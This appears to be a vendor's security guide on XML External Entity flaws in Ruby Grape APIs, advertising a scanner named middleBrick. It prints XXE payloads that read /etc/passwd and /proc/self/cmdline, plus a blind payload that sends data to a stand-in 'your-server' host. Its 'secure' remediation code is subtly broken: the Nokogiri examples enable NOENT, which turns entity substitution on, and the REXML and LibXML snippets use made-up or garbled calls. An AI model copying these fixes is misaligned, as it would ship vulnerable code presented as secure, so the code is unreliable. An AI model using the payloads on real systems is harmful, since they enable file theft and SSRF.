HIGH xml external entitiesgrape

Xml External Entities in Grape

How Xml External Entities Manifests in Grape

Xml External Entities (XXE) vulnerabilities in Grape applications typically arise when the framework parses XML payloads without proper configuration. Grape, being a lightweight Ruby API framework, inherits XML parsing behavior from Ruby's standard libraries and any middleware it uses.

The most common manifestation occurs when Grape endpoints accept XML content types and use Ruby's default XML parser. By default, Ruby's REXML and LibXML parsers enable external entity processing, allowing attackers to craft malicious XML documents that reference external resources. This can lead to server-side request forgery (SSRF), local file disclosure, or denial of service through resource exhaustion.

Here's a typical vulnerable Grape endpoint:

class VulnerableAPI < Grape::API
content_type :xml, 'application/xml'
format :xml

post '/process-xml' do
# Ruby's default XML parser processes external entities
xml = request.body.read
doc = REXML::Document.new(xml)
# Process document...
end
end

An attacker could exploit this with:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM 'file:///etc/passwd' > ]>
<foo>&xxe;</foo>

This would return the contents of /etc/passwd in the response. More sophisticated attacks can use parameter entities to perform blind XXE attacks, accessing internal network resources through SSRF.

Grape applications often compound this risk when combined with other libraries. For instance, if your Grape API uses Nokogiri for XML processing without proper configuration, you face similar risks:

class NokogiriAPI < Grape::API
post '/process' do
xml = request.body.read
doc = Nokogiri::XML(xml) # Vulnerable by default
# Process document...
end
end

The vulnerability extends to XML parsing in middleware, database adapters, or any gem that processes XML within the Grape application context. Even seemingly unrelated features like XML-based configuration files or SOAP integrations can introduce XXE vectors if not properly secured.

Grape-Specific Detection

Detecting XXE vulnerabilities in Grape applications requires examining both the code and runtime behavior. From a code perspective, look for XML parsing operations that don't explicitly disable external entity processing.

Static analysis should flag these patterns:

# Vulnerable - no entity processing disabled
REXML::Document.new(xml_string)

Dynamic detection through middleBrick scanning can identify XXE vulnerabilities by sending crafted payloads to XML endpoints and observing responses. The scanner tests for:

  • Basic entity expansion: Simple file inclusion attempts
  • Blind XXE: Using out-of-band methods to confirm entity processing
  • SSRF vectors: Attempting to access internal network resources
  • Resource consumption: Large entity expansions to test for DoS

For Grape applications specifically, middleBrick analyzes the OpenAPI specification to identify endpoints that accept XML content types, then crafts targeted payloads for those routes. The scanner examines Content-Type headers, request bodies, and response patterns to determine if external entities are being processed.

Runtime detection should also include monitoring for unusual outbound connections from your API servers, as successful XXE attacks often result in unexpected network requests to internal or external resources.

Testing methodology for Grape APIs:

# Test basic XXE
<!DOCTYPE test [ <!ENTITY xxe SYSTEM 'file:///proc/self/cmdline' > ]>
<test>&xxe;</test>

If the response contains command line arguments or other sensitive information, the endpoint is vulnerable. For blind XXE testing, you might use:

<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM 'http://your-server/xxe' >
<!ENTITY % int '<!ENTITY &#37; trick SYSTEM "http://your-server/?%xxe;">' > ]>

Successful exploitation will trigger a request to your server, confirming the vulnerability.

Grape-Specific Remediation

Remediating XXE vulnerabilities in Grape requires configuring XML parsers to disable external entity processing. The approach varies by parser, but the principle remains consistent: explicitly disable dangerous features.

For REXML (Ruby's default XML parser):

class SecureAPI < Grape::API
content_type :xml, 'application/xml'
format :xml

post '/process-xml' do
xml = request.body.read
# Secure parsing - disable external entities
parser = REXML::Parsers::TreeParser.new(xml)
parser.context = { :externalentityprocessor => nil }
doc = REXML::Document.new(parser)
# Process document securely...
end
end

For Nokogiri, the most popular XML processing library in Ruby:

class SecureAPI < Grape::API
post '/process' do
xml = request.body.read
# Secure parsing - disable external entities and DTDs
doc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::NOENT
config.strict.dtd_load = false
config.strict.dtd_attr = false
end
# Process document...
end
end

For applications using LibXML bindings:

require 'libxml'class SecureAPI < Grape::API
post '/process' do
xml = request.body.read
context = LibXML::XML::Parser::Context.new(xml)
context.options = LibXML::XML::Parser::Options::PEDANTIC
context.disable_dtd = true
context.load_external_dtd = false
parser = LibXML::XML::Parser::Context.new(context)
doc = parser.parse
# Process document...
end
end

Beyond parser configuration, consider these Grape-specific security practices:

  1. Content-Type validation: Explicitly restrict accepted content types and reject suspicious XML content
  2. Size limits: Implement request size limits to prevent DoS through entity expansion
  3. Input sanitization: Validate and sanitize XML input before processing
  4. Network isolation: Ensure API servers cannot access sensitive internal resources

A comprehensive secure Grape endpoint:

class SecureAPI < Grape::API
content_type :xml, 'application/xml'
format :xml

before do
# Reject suspicious content
if request.content_type == 'application/xml' &&
request.body.size > 1.megabyte
error!('XML payload too large', 413)
end
end

post '/process-xml' do
xml = request.body.read

# Secure parsing with error handling
begin
doc = Nokogiri::XML(xml) do |config|
config.options = Nokogiri::XML::ParseOptions::NOENT |
Nokogiri::XML::ParseOptions::NONET
end

# Validate document structure
if doc.root.name != 'expected_root'
error!('Invalid XML structure', 400)
end

# Process securely...
{ status: 'success', data: process_xml(doc) }

rescue Nokogiri::XML::SyntaxError => e
error!('Malformed XML', 400)
end
end

This implementation combines secure parsing, size limits, structure validation, and proper error handling to eliminate XXE vulnerabilities while maintaining functionality.

Frequently Asked Questions

Does middleBrick detect XXE vulnerabilities in Grape APIs?
Yes, middleBrick specifically tests Grape endpoints that accept XML content types by sending crafted XXE payloads and analyzing responses. The scanner identifies endpoints through OpenAPI spec analysis, then performs active testing with various XXE vectors including basic entity expansion, blind XXE, and SSRF attempts. middleBrick reports findings with severity levels and provides remediation guidance specific to the detected vulnerability patterns.
Can XXE vulnerabilities in Grape lead to remote code execution?
While XXE itself is primarily a data exposure and SSRF vulnerability, it can potentially lead to remote code execution in certain configurations. If your Grape application runs with elevated privileges and an XXE vulnerability allows file inclusion, an attacker might include files that contain executable code or configuration that modifies application behavior. Additionally, successful SSRF through XXE could allow attackers to interact with internal services that have code execution vulnerabilities. This is why proper XXE remediation is critical for comprehensive API security.